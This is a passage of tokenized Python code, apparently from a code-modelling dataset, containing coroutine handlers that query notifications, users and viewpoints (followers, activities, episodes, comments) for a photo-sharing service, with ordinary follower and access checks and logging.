"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num", "\\u", "uploads", "_", "=_", "len_", "(_", "[_", "a_", "for_", "a_", "in_", "activities_", "if_", "a_", "is_", "not_", "None_", "and_", "a_", "._", "name_", "==_", "'", "upload", "\\u", "episode", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "shares_", "=_", "len_", "(_", "[_", "a_", "for_", "a_", "in_", "activities_", "if_", "a_", "is_", "not_", "None_", "and_", "a_", "._", "name_", "in_", "[_", "'", "share", "\\u", "exist", "ing", "'_", ",_", "'", "share", "\\u", "new", "'_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "unsh", "ares", "_", "=_", "len_", "(_", "[_", "a_", "for_", "a_", "in_", "activities_", "if_", "a_", "is_", "not_", "None_", "and_", "a_", "._", "name_", "==_", "'", "unsh", "are", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "comment", "\\u", "posts_", "=_", "len_", "(_", "[_", "a_", "for_", "a_", "in_", "activities_", "if_", "a_", "is_", "not_", "None_", "and_", "a_", "._", "name_", "==_", "'", "post", "\\u", "comment", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "QUE", "RY", " ", "NOTIFICATION", "S", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "start", "\\u", "key", ":", " ", "%", "r", ",", " ", "count", ":", " ", "%", "d", ",", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "d", " ", "uploads", ",", " ", "%", "d", " ", "share", "s", ",", " ", "%", "d", " ", "unsh", "ares", ",", " ", "%", "d", " ", "comment", " ", "posts", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "start", "\\u", "key_", ",_", "len_", "(_", "notifications_", ")_", ",_", "num", "\\u", "uploads", "_", ",_", "num", "\\u", "shares_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "unsh", "ares", "_", ",_", "num", "\\u", "comment", "\\u", "posts_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Disa", "ble", " ", "notification", " ", "response", "s", " ", "for", " ", "older", " ", "clients", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "request_", "[_", "'", "header", "s", "'_", "]_", "[_", "'", "original", "\\u", "version", "'_", "]_", "<_", "Message_", "._", "UPDATE", "\\u", "SHAR", "E", "\\u", "VERSION_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "gen_", "._", "Return_", "(_", "{_", "'", "notification", "s", "'_", ":_", "[_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "gen_", "._", "Return_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Query", "Users_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Querie", "s", " ", "users", " ", "by", " ", "user", " ", "id", ",", " ", "filtering", " ", "by", " ", "friends", "hip", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "frie", "nd", "\\u", "list_", "=_", "yield_", "gen_", "._", "Task_", "(_", "User_", "._", "Query", "Users_", ",_", "client_", ",_", "user", "\\u", "id_", ",_", "request_", "[_", "'", "user", "\\u", "ids", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "dicts_", "=_", "yield_", "[_", "gen_", "._", "Task_", "(_", "user_", "._", "Make", "User", "Meta", "data", "Dict_", ",_", "client_", ",_", "user", "\\u", "id_", ",_", "forward", "\\u", "friend_", ",_", "reverse", "\\u", "friend_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "user_", ",_", "forward", "\\u", "friend_", ",_", "reverse", "\\u", "friend_", "in_", "user", "\\u", "frie", "nd", "\\u", "list_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "{_", "'", "users", "'_", ":_", "user", "\\u", "dicts_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "QUE", "RY", " ", "USERS", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "%", "d", " ", "users", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "len_", "(_", "user", "\\u", "dicts_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Query", "View", "points_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Querie", "s", " ", "view", "point", " ", "metadata", ",", " ", "as", " ", "well", " ", "as", " ", "associate", "d", " ", "followers", " ", "and", " ", "episode", "s", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Query", "Followe", "rs_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Produce", "s", " ", "list", " ", "of", " ", "(", "followers", ",", " ", "last", "\\u", "key", ")", " ", "tuple", "s", ",", " ", "one", " ", "for", " ", "each", " ", "view", "point", " ", "in", " ", "the", " ", "request", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tasks_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "vp", "\\u", "dict_", "in_", "request_", "[_", "'", "view", "points", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "followers", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "key_", "=_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "follower", "\\u", "start", "\\u", "key", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tasks_", "._", "append_", "(_", "View", "point_", "._", "Query", "Followe", "rs_", "(_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vp", "\\u", "dict_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "excl", "\\u", "start", "\\u", "key_", "=_", "int_", "(_", "start", "\\u", "key_", ")_", "if_", "start", "\\u", "key_", "is_", "not_", "None_", "else_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "limit_", "=_", "limit_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tasks_", "._", "append_", "(_", "util_", "._", "Gen", "Constant_", "(_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "follower", "\\u", "results_", "=_", "yield_", "tasks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "follower", "\\u", "results_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Query", "Activ", "ities_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Produce", "s", " ", "list", " ", "of", " ", "(", "activit", "ies", ",", " ", "last", "\\u", "key", ")", " ", "tuple", "s", ",", " ", "one", " ", "for", " ", "each", " ", "view", "point", " ", "in", " ", "the", " ", "request", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tasks_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "vp", "\\u", "dict_", "in_", "request_", "[_", "'", "view", "points", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "activit", "ies", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tasks_", "._", "append_", "(_", "gen_", "._", "Task_", "(_", "View", "point_", "._", "Query", "Activ", "ities_", ",_", "client_", ",_", "vp", "\\u", "dict_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "excl", "\\u", "start", "\\u", "key_", "=_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "activit", "y", "\\u", "start", "\\u", "key", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "limit_", "=_", "limit_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tasks_", "._", "append_", "(_", "util_", "._", "Gen", "Constant_", "(_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "activit", "y", "\\u", "results_", "=_", "yield_", "tasks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "activit", "y", "\\u", "results_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Query", "Episod", "es_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Produce", "s", " ", "list", " ", "of", " ", "(", "episode", "s", ",", " ", "last", "\\u", "key", ")", " ", "tuple", "s", ",", " ", "one", " ", "for", " ", "each", " ", "view", "point", " ", "in", " ", "the", " ", "request", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tasks_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "vp", "\\u", "dict_", "in_", "request_", "[_", "'", "view", "points", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "episode", "s", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tasks_", "._", "append_", "(_", "gen_", "._", "Task_", "(_", "View", "point_", "._", "Query", "Episod", "es_", ",_", "client_", ",_", "vp", "\\u", "dict_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "excl", "\\u", "start", "\\u", "key_", "=_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "episode", "\\u", "start", "\\u", "key", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "limit_", "=_", "limit_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tasks_", "._", "append_", "(_", "util_", "._", "Gen", "Constant_", "(_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "episode", "\\u", "results_", "=_", "yield_", "tasks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "episode", "\\u", "results_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Query", "Comments_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Produce", "s", " ", "list", " ", "of", " ", "(", "comment", "s", ",", " ", "last", "\\u", "key", ")", " ", "tuple", "s", ",", " ", "one", " ", "for", " ", "each", " ", "view", "point", " ", "in", " ", "the", " ", "request", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tasks_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "vp", "\\u", "dict_", "in_", "request_", "[_", "'", "view", "points", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "comment", "s", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tasks_", "._", "append_", "(_", "gen_", "._", "Task_", "(_", "View", "point_", "._", "Query", "Comments_", ",_", "client_", ",_", "vp", "\\u", "dict_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "excl", "\\u", "start", "\\u", "key_", "=_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "comment", "\\u", "start", "\\u", "key", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "limit_", "=_", "limit_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tasks_", "._", "append_", "(_", "util_", "._", "Gen", "Constant_", "(_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "comment", "\\u", "results_", "=_", "yield_", "tasks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "comment", "\\u", "results_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "limit_", "=_", "request_", "._", "get_", "(_", "'", "limit", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "point", "\\u", "keys_", "=_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "vp", "\\u", "dict_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ",_", "None_", ")_", "for_", "vp", "\\u", "dict_", "in_", "request_", "[_", "'", "view", "points", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "follower", "\\u", "keys_", "=_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "user", "\\u", "id_", ",_", "vp", "\\u", "dict_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ")_", "for_", "vp", "\\u", "dict_", "in_", "request_", "[_", "'", "view", "points", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "=_", "yield_", "[_", "gen_", "._", "Task_", "(_", "View", "point_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "view", "point", "\\u", "keys_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gen_", "._", "Task_", "(_", "Followe", "r_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "follower", "\\u", "keys_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Query", "Followe", "rs_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Query", "Activ", "ities_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Query", "Episod", "es_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Query", "Comments_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "view", "points_", ",_", "followers", "_", ",_", "follower", "\\u", "id", "\\u", "results_", ",_", "activit", "y", "\\u", "results_", ",_", "episode", "\\u", "results_", ",_", "comment", "\\u", "results_", "=_", "results_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zip", "\\u", "list_", "=_", "zip_", "(_", "request_", "[_", "'", "view", "points", "'_", "]_", ",_", "view", "points_", ",_", "followers", "_", ",_", "follower", "\\u", "id", "\\u", "results_", ",_", "activit", "y", "\\u", "results_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "episode", "\\u", "results_", ",_", "comment", "\\u", "results_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "followers", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "activities_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "episodes_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "comments_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "vp", "\\u", "dicts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "vp", "\\u", "dict_", ",_", "view", "point_", ",_", "follower", "_", ",_", "follower", "\\u", "result_", ",_", "activit", "y", "\\u", "result_", ",_", "episode", "\\u", "result_", ",_", "comment", "\\u", "result_", "in_", "zip", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "On", "ly", " ", "return", " ", "the", " ", "view", "point", " ", "metadata", " ", "if", " ", "the", " ", "caller", " ", "is", " ", "a", " ", "follower", " ", "of", " ", "the", " ", "view", "point", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "follower", "_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "vp", "\\u", "dict_", "=_", "{_", "'", "view", "point", "\\u", "id", "'_", ":_", "view", "point_", "._", "view", "point", "\\u", "id_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "On", "ly", " ", "return", " ", "view", "point", " ", "metadata", " ", "if", " ", "\"", "get", "\\u", "attribute", "s", "\"", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "attribute", "s", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "vp", "\\u", "dict_", "._", "update_", "(_", "\\u", "Make", "View", "point", "Meta", "data", "Dict_", "(_", "view", "point_", ",_", "follower", "_", ",_", "obj", "\\u", "store_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "On", "ly", " ", "return", " ", "followers", " ", "if", " ", "the", " ", "follower", " ", "is", " ", "not", " ", "remove", "d", " ", "and", " ", "\"", "get", "\\u", "followers", "\"", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "follower", "_", "._", "Is", "Remove", "d_", "(_", ")_", "and_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "followers", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "followers", "_", ",_", "last", "\\u", "key_", "=_", "follower", "\\u", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "vp", "\\u", "dict_", "[_", "'", "followers", "'_", "]_", "=_", "[_", "fol", "l_", "._", "Make", "Friend", "Meta", "data", "Dict_", "(_", ")_", "for_", "fol", "l_", "in_", "followers", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "last", "\\u", "key_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "vp", "\\u", "dict_", "[_", "'", "follower", "\\u", "last", "\\u", "key", "'_", "]_", "=_", "www", "\\u", "util_", "._", "Format", "Integra", "l", "Las", "t", "Key_", "(_", "last", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num", "\\u", "followers", "_", "+=_", "len_", "(_", "followers", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "On", "ly", " ", "return", " ", "content", " ", "abo", "ut", " ", "view", "point", " ", "if", " ", "follower", " ", "is", " ", "allow", "ed", " ", "to", " ", "view", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "Can", "View", "View", "point", "Content_", "(_", "view", "point_", ",_", "follower", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "On", "ly", " ", "return", " ", "activit", "ies", " ", "if", " ", "\"", "get", "\\u", "activit", "ies", "\"", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "activit", "ies", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "activities_", ",_", "last", "\\u", "key_", "=_", "activit", "y", "\\u", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "vp", "\\u", "dict_", "[_", "'", "activit", "ies", "'_", "]_", "=_", "[_", "act_", "._", "Make", "Meta", "data", "Dict_", "(_", ")_", "for_", "act_", "in_", "activities_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "last", "\\u", "key_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "vp", "\\u", "dict_", "[_", "'", "activit", "y", "\\u", "last", "\\u", "key", "'_", "]_", "=_", "last", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num", "\\u", "activities_", "+=_", "len_", "(_", "activities_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "On", "ly", " ", "return", " ", "episode", "s", " ", "if", " ", "\"", "get", "\\u", "episode", "s", "\"", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "episode", "s", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "episodes_", ",_", "last", "\\u", "key_", "=_", "episode", "\\u", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "vp", "\\u", "dict_", "[_", "'", "episode", "s", "'_", "]_", "=_", "[_", "ep_", "._", "\\u", "asd", "ict_", "(_", ")_", "for_", "ep_", "in_", "episodes_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "last", "\\u", "key_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "vp", "\\u", "dict_", "[_", "'", "episode", "\\u", "last", "\\u", "key", "'_", "]_", "=_", "last", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num", "\\u", "episodes_", "+=_", "len_", "(_", "episodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "On", "ly", " ", "return", " ", "comment", "s", " ", "if", " ", "\"", "get", "\\u", "comment", "s", "\"", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "vp", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "comment", "s", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "comments_", ",_", "last", "\\u", "key_", "=_", "comment", "\\u", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "vp", "\\u", "dict_", "[_", "'", "comment", "s", "'_", "]_", "=_", "[_", "co_", "._", "\\u", "asd", "ict_", "(_", ")_", "for_", "co_", "in_", "comments_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "last", "\\u", "key_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "vp", "\\u", "dict_", "[_", "'", "comment", "\\u", "last", "\\u", "key", "'_", "]_", "=_", "last", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num", "\\u", "comments_", "+=_", "len_", "(_", "comments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "vp", "\\u", "dicts_", "._", "append_", "(_", "response", "\\u", "vp", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "QUE", "RY", " ", "VIEW", "POINT", "S", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "%", "d", " ", "view", "points", ",", " ", "%", "d", " ", "followers", ",", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "d", " ", "activit", "ies", ",", " ", "%", "d", " ", "episode", "s", ",", " ", "%", "d", " ", "comment", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "len_", "(_", "response", "\\u", "vp", "\\u", "dicts_", ")_", ",_", "num", "\\u", 